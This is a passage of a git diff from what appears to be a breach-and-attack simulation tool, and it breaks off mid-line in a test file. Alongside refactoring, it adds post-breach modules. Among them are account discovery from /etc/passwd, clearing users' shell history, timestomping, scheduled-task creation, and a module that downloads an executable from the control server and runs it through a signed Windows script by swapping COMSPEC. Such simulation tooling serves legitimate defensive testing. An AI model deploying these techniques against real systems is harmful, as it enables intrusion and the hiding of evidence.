b/monkey/infection_monkey/network/httpfinger.py @@ -43,8 +43,8 @@ class HTTPFinger(HostFinger): LOG.info("Port %d is open on host %s " % (port[0], host)) break # https will be the same on the same port except Timeout: - pass + LOG.debug(f"Timout while requesting headers from {url}") except ConnectionError: # Someone doesn't like us - pass + LOG.debug(f"Connection error while requesting headers from {url}") return True diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py index c303692ad..968e5361f 100644 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -3,8 +3,7 @@ import socket import infection_monkey.config from infection_monkey.network.HostFinger import HostFinger -from infection_monkey.network.tools import (struct_unpack_tracker, - struct_unpack_tracker_string) +from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string MYSQL_PORT = 3306 SQL_SERVICE = 'mysqld-3306' diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 6abf409ad..95277b4b9 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -113,7 +113,7 @@ class NetworkScanner(object): :return: Victim or None if victim isn't alive """ LOG.debug("Scanning target address: %r", victim) - if any([scanner.is_host_alive(victim) for scanner in self.scanners]): + if any(scanner.is_host_alive(victim) for scanner in self.scanners): LOG.debug("Found potential target_ip: %r", victim) return victim else: diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index f35533f0c..fd19550a3 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -12,7 +12,7 @@ __author__ = 'itamar' PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c" PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W" -TTL_REGEX_STR = '(?<=TTL\=)[0-9]+' +TTL_REGEX_STR = r'(?<=TTL\=)[0-9]+' LINUX_TTL = 64 WINDOWS_TTL = 128 @@ -62,6 +62,9 @@ class PingScanner(HostScanner, HostFinger): host.os['type'] = 'linux' else: # as far we we know, could also be OSX/BSD but lets handle that when it comes up. host.os['type'] = 'windows' + + host.icmp = True + return True except Exception as exc: LOG.debug("Error parsing ping fingerprint: %s", exc) diff --git a/monkey/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py index a686d7fbd..909e75429 100644 --- a/monkey/infection_monkey/network/sshfinger.py +++ b/monkey/infection_monkey/network/sshfinger.py @@ -6,7 +6,7 @@ from infection_monkey.network.tools import check_tcp_port SSH_PORT = 22 SSH_SERVICE_DEFAULT = 'tcp-22' -SSH_REGEX = 'SSH-\d\.\d-OpenSSH' +SSH_REGEX = r'SSH-\d\.\d-OpenSSH' TIMEOUT = 10 BANNER_READ = 1024 LINUX_DIST_SSH = ['ubuntu', 'debian'] diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 049b30838..7f7a211fc 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -7,6 +7,8 @@ import subprocess import sys import time +from common.network.network_utils import get_host_from_network_location +from infection_monkey.config import WormConfiguration from infection_monkey.network.info import get_routes, local_ips from infection_monkey.pyinstaller_utils import get_binary_file_path from infection_monkey.utils.environment import is_64bit_python @@ -139,7 +141,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): timeout = int(round(timeout)) # clamp to integer, to avoid checking input sockets_to_try = possible_ports[:] connected_ports_sockets = [] - while (timeout >= 0) and len(sockets_to_try): + while (timeout >= 0) and sockets_to_try: sock_objects = [s[1] for s in sockets_to_try] _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0) @@ -311,5 +313,11 @@ def get_interface_to_target(dst): return ret[1] +def is_running_on_island(): + current_server_without_port = get_host_from_network_location(WormConfiguration.current_server) + running_on_island = is_running_on_server(current_server_without_port) + return running_on_island and WormConfiguration.depth == WormConfiguration.max_depth + + def is_running_on_server(ip: str) -> bool: return ip in local_ips() diff --git a/monkey/infection_monkey/post_breach/account_discovery/account_discovery.py b/monkey/infection_monkey/post_breach/account_discovery/account_discovery.py new file mode 100644 index 000000000..952592ace --- /dev/null +++ b/monkey/infection_monkey/post_breach/account_discovery/account_discovery.py @@ -0,0 +1,10 @@ +from infection_monkey.post_breach.account_discovery.linux_account_discovery import \ + get_linux_commands_to_discover_accounts +from infection_monkey.post_breach.account_discovery.windows_account_discovery import \ + get_windows_commands_to_discover_accounts + + +def get_commands_to_discover_accounts(): + linux_cmds = get_linux_commands_to_discover_accounts() + windows_cmds = get_windows_commands_to_discover_accounts() + return linux_cmds, windows_cmds diff --git a/monkey/infection_monkey/post_breach/account_discovery/linux_account_discovery.py b/monkey/infection_monkey/post_breach/account_discovery/linux_account_discovery.py new file mode 100644 index 000000000..21725e509 --- /dev/null +++ b/monkey/infection_monkey/post_breach/account_discovery/linux_account_discovery.py @@ -0,0 +1,7 @@ +def get_linux_commands_to_discover_accounts(): + return [ + "echo \'Discovered the following user accounts:\'; ", + "cut -d: -f1,3 /etc/passwd | ", + "egrep ':[0-9]{4}$' | ", + "cut -d: -f1" + ] diff --git a/monkey/infection_monkey/post_breach/account_discovery/windows_account_discovery.py b/monkey/infection_monkey/post_breach/account_discovery/windows_account_discovery.py new file mode 100644 index 000000000..a37054c35 --- /dev/null +++ b/monkey/infection_monkey/post_breach/account_discovery/windows_account_discovery.py @@ -0,0 +1,2 @@ +def get_windows_commands_to_discover_accounts(): + return "powershell Get-LocalUser" diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index 58be89a1f..a85845840 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER +from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER from infection_monkey.config import WormConfiguration from infection_monkey.post_breach.pba import PBA from infection_monkey.utils.users import get_commands_to_add_user diff --git a/monkey/infection_monkey/post_breach/actions/change_file_privileges.py b/monkey/infection_monkey/post_breach/actions/change_file_privileges.py index 1cf5813e3..7d0207b44 100644 --- a/monkey/infection_monkey/post_breach/actions/change_file_privileges.py +++ b/monkey/infection_monkey/post_breach/actions/change_file_privileges.py @@ -1,7 +1,6 @@ -from common.data.post_breach_consts import POST_BREACH_SETUID_SETGID +from common.common_consts.post_breach_consts import POST_BREACH_SETUID_SETGID from infection_monkey.post_breach.pba import PBA -from infection_monkey.post_breach.setuid_setgid.setuid_setgid import \ - get_commands_to_change_setuid_setgid +from infection_monkey.post_breach.setuid_setgid.setuid_setgid import get_commands_to_change_setuid_setgid class ChangeSetuidSetgid(PBA): diff --git a/monkey/infection_monkey/post_breach/actions/clear_command_history.py b/monkey/infection_monkey/post_breach/actions/clear_command_history.py new file mode 100644 index 000000000..d1fd63537 --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/clear_command_history.py @@ -0,0 +1,50 @@ +import subprocess + +from common.common_consts.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY +from infection_monkey.post_breach.clear_command_history.clear_command_history import \ + get_commands_to_clear_command_history +from infection_monkey.post_breach.pba import PBA +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem + + +class ClearCommandHistory(PBA): + def __init__(self): + super().__init__(name=POST_BREACH_CLEAR_CMD_HISTORY) + + def run(self): + results = [pba.run() for pba in self.clear_command_history_PBA_list()] + if results: + PostBreachTelem(self, results).send() + + def clear_command_history_PBA_list(self): + return self.CommandHistoryPBAGenerator().get_clear_command_history_pbas() + + class CommandHistoryPBAGenerator(): + def get_clear_command_history_pbas(self): + (cmds_for_linux, command_history_files_for_linux, usernames_for_linux) =\ + get_commands_to_clear_command_history() + + pbas = [] + + for username in usernames_for_linux: + for command_history_file in command_history_files_for_linux: + linux_cmds = ' '.join(cmds_for_linux).format(command_history_file).format(username) + pbas.append(self.ClearCommandHistoryFile(linux_cmds=linux_cmds)) + + return pbas + + class ClearCommandHistoryFile(PBA): + def __init__(self, linux_cmds): + super().__init__(name=POST_BREACH_CLEAR_CMD_HISTORY, + linux_cmd=linux_cmds) + + def run(self): + if self.command: + try: + output = subprocess.check_output(self.command, # noqa: DUO116 + stderr=subprocess.STDOUT, + shell=True).decode() + return output, True + except subprocess.CalledProcessError as e: + # Return error output of the command + return e.output.decode(), False diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 83065d20d..6e990dbc3 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -3,7 +3,7 @@ import random import string import subprocess -from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER +from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.auto_new_user_factory import create_auto_new_user @@ -44,7 +44,7 @@ class CommunicateAsNewUser(PBA): @staticmethod def get_random_new_user_name(): - return USERNAME_PREFIX + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + return USERNAME_PREFIX + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) # noqa: DUO102 @staticmethod def get_commandline_for_http_request(url, is_windows=is_windows_os()): diff --git a/monkey/infection_monkey/post_breach/actions/discover_accounts.py b/monkey/infection_monkey/post_breach/actions/discover_accounts.py new file mode 100644 index 000000000..4d6e5f87d --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/discover_accounts.py @@ -0,0 +1,11 @@ +from common.common_consts.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY +from infection_monkey.post_breach.account_discovery.account_discovery import get_commands_to_discover_accounts +from infection_monkey.post_breach.pba import PBA + + +class AccountDiscovery(PBA): + def __init__(self): + linux_cmds, windows_cmds = get_commands_to_discover_accounts() + super().__init__(POST_BREACH_ACCOUNT_DISCOVERY, + linux_cmd=' '.join(linux_cmds), + windows_cmd=windows_cmds) diff --git a/monkey/infection_monkey/post_breach/actions/hide_files.py b/monkey/infection_monkey/post_breach/actions/hide_files.py index 081a18598..baba3afea 100644 --- a/monkey/infection_monkey/post_breach/actions/hide_files.py +++ b/monkey/infection_monkey/post_breach/actions/hide_files.py @@ -1,11 +1,10 @@ -from common.data.post_breach_consts import POST_BREACH_HIDDEN_FILES +from common.common_consts.post_breach_consts import POST_BREACH_HIDDEN_FILES from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.hidden_files import (cleanup_hidden_files, - get_commands_to_hide_files, - get_commands_to_hide_folders, - get_winAPI_to_hide_files) +from infection_monkey.utils.hidden_files import (cleanup_hidden_files, get_commands_to_hide_files, + get_commands_to_hide_folders) +from infection_monkey.utils.windows.hidden_files import get_winAPI_to_hide_files HIDDEN_FSO_CREATION_COMMANDS = [get_commands_to_hide_files, get_commands_to_hide_folders] diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index e12e0c446..c10575d39 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -1,7 +1,6 @@ import subprocess -from common.data.post_breach_consts import \ - POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION +from common.common_consts.post_breach_consts import POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.shell_startup_files.shell_startup_files_modification import \ get_commands_to_modify_shell_startup_files diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py index d6cdd2765..97ad75923 100644 --- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py +++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py @@ -1,6 +1,6 @@ -from common.data.post_breach_consts import POST_BREACH_JOB_SCHEDULING -from infection_monkey.post_breach.job_scheduling.job_scheduling import ( - get_commands_to_schedule_jobs, remove_scheduled_jobs) +from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING +from infection_monkey.post_breach.job_scheduling.job_scheduling import (get_commands_to_schedule_jobs, + remove_scheduled_jobs) from infection_monkey.post_breach.pba import PBA @@ -15,5 +15,7 @@ class ScheduleJobs(PBA): super(ScheduleJobs, self).__init__(name=POST_BREACH_JOB_SCHEDULING, linux_cmd=' '.join(linux_cmds), windows_cmd=windows_cmds) - + + def run(self): + super(ScheduleJobs, self).run() remove_scheduled_jobs() diff --git a/monkey/infection_monkey/post_breach/actions/timestomping.py b/monkey/infection_monkey/post_breach/actions/timestomping.py new file mode 100644 index 000000000..bf02664eb --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/timestomping.py @@ -0,0 +1,11 @@ +from common.common_consts.post_breach_consts import POST_BREACH_TIMESTOMPING +from infection_monkey.post_breach.pba import PBA +from infection_monkey.post_breach.timestomping.timestomping import get_timestomping_commands + + +class Timestomping(PBA): + def __init__(self): + linux_cmds, windows_cmds = get_timestomping_commands() + super().__init__(POST_BREACH_TIMESTOMPING, + linux_cmd=linux_cmds, + windows_cmd=windows_cmds) diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py new file mode 100644 index 000000000..ed9f665f0 --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -0,0 +1,30 @@ +import logging +import subprocess + +from common.common_consts.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC +from infection_monkey.post_breach.pba import PBA +from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import ( + cleanup_changes, get_commands_to_proxy_execution_using_signed_script) +from infection_monkey.utils.environment import is_windows_os + +LOG = logging.getLogger(__name__) + + +class SignedScriptProxyExecution(PBA): + def __init__(self): + windows_cmds = get_commands_to_proxy_execution_using_signed_script() + super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC, + windows_cmd=' '.join(windows_cmds)) + + def run(self): + try: + original_comspec = '' + if is_windows_os(): + original_comspec =\ + subprocess.check_output('if defined COMSPEC echo %COMSPEC%', shell=True).decode() # noqa: DUO116 + + super().run() + except Exception as e: + LOG.warning(f"An exception occurred on running PBA {POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}") + finally: + cleanup_changes(original_comspec) diff --git a/monkey/infection_monkey/post_breach/actions/use_trap_command.py b/monkey/infection_monkey/post_breach/actions/use_trap_command.py index 589baf1d9..7afd2e631 100644 --- a/monkey/infection_monkey/post_breach/actions/use_trap_command.py +++ b/monkey/infection_monkey/post_breach/actions/use_trap_command.py @@ -1,7 +1,6 @@ -from common.data.post_breach_consts import POST_BREACH_TRAP_COMMAND +from common.common_consts.post_breach_consts import POST_BREACH_TRAP_COMMAND from infection_monkey.post_breach.pba import PBA -from infection_monkey.post_breach.trap_command.trap_command import \ - get_trap_commands +from infection_monkey.post_breach.trap_command.trap_command import get_trap_commands class TrapCommand(PBA): diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 46f09a688..dd723c14d 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -1,7 +1,7 @@ import logging import os -from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION +from common.common_consts.post_breach_consts import POST_BREACH_FILE_EXECUTION from common.utils.attack_utils import ScanStatus from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient @@ -15,10 +15,6 @@ LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' -# Default commands for executing PBA file and then removing it -DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" -DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" - DIR_CHANGE_WINDOWS = 'cd %s & ' DIR_CHANGE_LINUX = 'cd %s ; ' @@ -31,30 +27,23 @@ class UsersPBA(PBA): def __init__(self): super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) self.filename = '' + if not is_windows_os(): # Add linux commands to PBA's if WormConfiguration.PBA_linux_filename: + self.filename = WormConfiguration.PBA_linux_filename if WormConfiguration.custom_PBA_linux_cmd: # Add change dir command, because user will try to access his file self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd - self.filename = WormConfiguration.PBA_linux_filename - else: - file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename) - self.command = DEFAULT_LINUX_COMMAND.format(file_path) - self.filename = WormConfiguration.PBA_linux_filename elif WormConfiguration.custom_PBA_linux_cmd: self.command = WormConfiguration.custom_PBA_linux_cmd else: # Add windows commands to PBA's if WormConfiguration.PBA_windows_filename: + self.filename = WormConfiguration.PBA_windows_filename if WormConfiguration.custom_PBA_windows_cmd: # Add change dir command, because user will try to access his file self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd - self.filename = WormConfiguration.PBA_windows_filename - else: - file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename) - self.command = DEFAULT_WINDOWS_COMMAND.format(file_path) - self.filename = WormConfiguration.PBA_windows_filename elif WormConfiguration.custom_PBA_windows_cmd: self.command = WormConfiguration.custom_PBA_windows_cmd diff --git a/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py b/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py new file mode 100644 index 000000000..a5e8d7d44 --- /dev/null +++ b/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py @@ -0,0 +1,11 @@ +from infection_monkey.post_breach.clear_command_history.linux_clear_command_history import ( + get_linux_command_history_files, get_linux_commands_to_clear_command_history, get_linux_usernames) + + +def get_commands_to_clear_command_history(): + (linux_cmds, + linux_cmd_hist_files, + linux_usernames) = (get_linux_commands_to_clear_command_history(), + get_linux_command_history_files(), + get_linux_usernames()) + return linux_cmds, linux_cmd_hist_files, linux_usernames diff --git a/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py b/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py new file mode 100644 index 000000000..a3545f124 --- /dev/null +++ b/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py @@ -0,0 +1,55 @@ +import subprocess + +from infection_monkey.utils.environment import is_windows_os + + +def get_linux_commands_to_clear_command_history(): + if is_windows_os(): + return '' + + TEMP_HIST_FILE = '$HOME/monkey-temp-hist-file' + + return [ + '3<{0} 3<&- && ', # check for existence of file + 'cat {0} ' # copy contents of history file to... + f'> {TEMP_HIST_FILE} && ', # ...temporary file + 'echo > {0} && ', # clear contents of file + 'echo \"Successfully cleared {0}\" && ', # if successfully cleared + f'cat {TEMP_HIST_FILE} ', # restore history file back with... + '> {0} ;' # ...original contents + f'rm {TEMP_HIST_FILE} -f' # remove temp history file + ] + + +def get_linux_command_history_files(): + if is_windows_os(): + return [] + + HOME_DIR = "/home/" + + # get list of paths of different shell history files (default values) with place for username + STARTUP_FILES = [ + file_path.format(HOME_DIR) for file_path in + [ + "{0}{{0}}/.bash_history", # bash + "{0}{{0}}/.local/share/fish/fish_history", # fish + "{0}{{0}}/.zsh_history", # zsh + "{0}{{0}}/.sh_history", # ksh + "{0}{{0}}/.history" # csh, tcsh + ] + ] + + return STARTUP_FILES + + +def get_linux_usernames(): + if is_windows_os(): + return [] + + # get list of usernames + USERS = subprocess.check_output( # noqa: DUO116 + "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", + shell=True + ).decode().split('\n')[:-1] + + return USERS diff --git a/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py index 886070dbb..f7bceef72 100644 --- a/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py +++ b/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py @@ -1,10 +1,8 @@ import subprocess -from infection_monkey.post_breach.job_scheduling.linux_job_scheduling import \ - get_linux_commands_to_schedule_jobs +from infection_monkey.post_breach.job_scheduling.linux_job_scheduling import get_linux_commands_to_schedule_jobs from infection_monkey.post_breach.job_scheduling.windows_job_scheduling import ( - get_windows_commands_to_remove_scheduled_jobs, - get_windows_commands_to_schedule_jobs) + get_windows_commands_to_remove_scheduled_jobs, get_windows_commands_to_schedule_jobs) from infection_monkey.utils.environment import is_windows_os diff --git a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py index fe3dad525..6fd888d67 100644 --- a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py +++ b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py @@ -1,11 +1,11 @@ SCHEDULED_TASK_NAME = 'monkey-spawn-cmd' -SCHEDULED_TASK_COMMAND = 'C:\windows\system32\cmd.exe' +SCHEDULED_TASK_COMMAND = r'C:\windows\system32\cmd.exe' # Commands from: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md def get_windows_commands_to_schedule_jobs(): - return f'schtasks /Create /SC monthly /TN {SCHEDULED_TASK_NAME} /TR {SCHEDULED_TASK_COMMAND}' + return f'schtasks /Create /SC monthly /F /TN {SCHEDULED_TASK_NAME} /TR {SCHEDULED_TASK_COMMAND}' def get_windows_commands_to_remove_scheduled_jobs(): diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 33eb55fc6..888984551 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -1,4 +1,5 @@ import logging +from multiprocessing.dummy import Pool from typing import Sequence from infection_monkey.post_breach.pba import PBA @@ -24,13 +25,9 @@ class PostBreach(object): """ Executes all post breach actions. """ - for pba in self.pba_list: - try: - LOG.debug("Executing PBA: '{}'".format(pba.name)) - pba.run() - except Exception as e: - LOG.error("PBA {} failed. Error info: {}".format(pba.name, e)) - LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list))) + with Pool(5) as pool: + pool.map(self.run_pba, self.pba_list) + LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list))) @staticmethod def config_to_pba_list() -> Sequence[PBA]: @@ -38,3 +35,11 @@ class PostBreach(object): :return: A list of PBA objects. """ return PBA.get_instances() + + def run_pba(self, pba): + try: + LOG.debug("Executing PBA: '{}'".format(pba.name)) + pba.run() + LOG.debug(f"Execution of {pba.name} finished") + except Exception as e: + LOG.error("PBA {} failed. Error info: {}".format(pba.name, e)) diff --git a/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py b/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py index 47c8cc476..7760ab900 100644 --- a/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py +++ b/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py @@ -1,5 +1,4 @@ -from infection_monkey.post_breach.setuid_setgid.linux_setuid_setgid import \ - get_linux_commands_to_setuid_setgid +from infection_monkey.post_breach.setuid_setgid.linux_setuid_setgid import get_linux_commands_to_setuid_setgid def get_commands_to_change_setuid_setgid(): diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py new file mode 100644 index 000000000..5db88cfc4 --- /dev/null +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py @@ -0,0 +1,17 @@ +import subprocess + +from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import ( + get_windows_commands_to_delete_temp_comspec, get_windows_commands_to_proxy_execution_using_signed_script, + get_windows_commands_to_reset_comspec) +from infection_monkey.utils.environment import is_windows_os + + +def get_commands_to_proxy_execution_using_signed_script(): + windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script() + return windows_cmds + + +def cleanup_changes(original_comspec): + if is_windows_os(): + subprocess.run(get_windows_commands_to_reset_comspec(original_comspec), shell=True) # noqa: DUO116 + subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116 diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py new file mode 100644 index 000000000..6cdf5fe01 --- /dev/null +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py @@ -0,0 +1,28 @@ +import os + +from infection_monkey.control import ControlClient + +TEMP_COMSPEC = os.path.join(os.getcwd(), 'random_executable.exe') + + +def get_windows_commands_to_proxy_execution_using_signed_script(): + download = ControlClient.get_T1216_pba_file() + with open(TEMP_COMSPEC, 'wb') as random_exe_obj: + random_exe_obj.write(download.content) + random_exe_obj.flush() + + windir_path = os.environ['WINDIR'] + signed_script = os.path.join(windir_path, 'System32', 'manage-bde.wsf') + + return [ + f'set comspec={TEMP_COMSPEC} &&', + f'cscript {signed_script}' + ] + + +def get_windows_commands_to_reset_comspec(original_comspec): + return f'set comspec={original_comspec}' + + +def get_windows_commands_to_delete_temp_comspec(): + return f'del {TEMP_COMSPEC} /f' diff --git a/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py b/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py new file mode 100644 index 000000000..83af6e00a --- /dev/null +++ b/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py @@ -0,0 +1,152 @@ +import pytest + +from infection_monkey.post_breach.actions.users_custom_pba import ( + DIR_CHANGE_LINUX, DIR_CHANGE_WINDOWS, UsersPBA) + +MONKEY_DIR_PATH = "/dir/to/monkey/" +CUSTOM_LINUX_CMD = "command-for-linux" +CUSTOM_LINUX_FILENAME = "filename-for-linux" +CUSTOM_WINDOWS_CMD = "command-for-windows" +CUSTOM_WINDOWS_FILENAME = "filename-for-windows" + + +@pytest.fixture +def fake_monkey_dir_path(monkeypatch): + monkeypatch.setattr( + "infection_monkey.post_breach.actions.users_custom_pba.get_monkey_dir_path", + lambda: MONKEY_DIR_PATH, + ) + + +@pytest.fixture +def set_os_linux(monkeypatch): + monkeypatch.setattr( + "infection_monkey.post_breach.actions.users_custom_pba.is_windows_os", + lambda: False, + ) + + +@pytest.fixture +def set_os_windows(monkeypatch): + monkeypatch.setattr( + "infection_monkey.post_breach.actions.users_custom_pba.is_windows_os", + lambda: True, + ) + + +@pytest.fixture +def mock_UsersPBA_linux_custom_file_and_cmd( + set_os_linux, fake_monkey_dir_path, monkeypatch +): + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", + CUSTOM_LINUX_CMD, + ) + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.PBA_linux_filename", + CUSTOM_LINUX_FILENAME, + ) + return UsersPBA() + + +def test_command_linux_custom_file_and_cmd( + mock_UsersPBA_linux_custom_file_and_cmd, +): + expected_command = f"cd {MONKEY_DIR_PATH} ; {CUSTOM_LINUX_CMD}" + assert mock_UsersPBA_linux_custom_file_and_cmd.command == expected_command + + +@pytest.fixture +def mock_UsersPBA_windows_custom_file_and_cmd( + set_os_windows, fake_monkey_dir_path, monkeypatch +): + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", + CUSTOM_WINDOWS_CMD, + ) + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.PBA_windows_filename", + CUSTOM_WINDOWS_FILENAME, + ) + return UsersPBA() + + +def test_command_windows_custom_file_and_cmd( + mock_UsersPBA_windows_custom_file_and_cmd, +): + expected_command = f"cd {MONKEY_DIR_PATH} & {CUSTOM_WINDOWS_CMD}" + assert mock_UsersPBA_windows_custom_file_and_cmd.command == expected_command + + +@pytest.fixture +def mock_UsersPBA_linux_custom_file(set_os_linux, fake_monkey_dir_path, monkeypatch): + + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", None + ) + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.PBA_linux_filename", + CUSTOM_LINUX_FILENAME, + ) + return UsersPBA() + + +def test_command_linux_custom_file(mock_UsersPBA_linux_custom_file): + expected_command = "" + assert mock_UsersPBA_linux_custom_file.command == expected_command + + +@pytest.fixture +def mock_UsersPBA_windows_custom_file( + set_os_windows, fake_monkey_dir_path, monkeypatch +): + + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.custom_PBA_windows_cmd", None + ) + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.PBA_windows_filename", + CUSTOM_WINDOWS_FILENAME, + ) + return UsersPBA() + + +def test_command_windows_custom_file(mock_UsersPBA_windows_custom_file): + expected_command = "" + assert mock_UsersPBA_windows_custom_file.command == expected_command + + +@pytest.fixture +def mock_UsersPBA_linux_custom_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch): + + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", + CUSTOM_LINUX_CMD, + ) + monkeypatch.setattr( + "infection_monkey.config.WormConfiguration.PBA_linux_filename", None + ) + return UsersPBA() + + +def 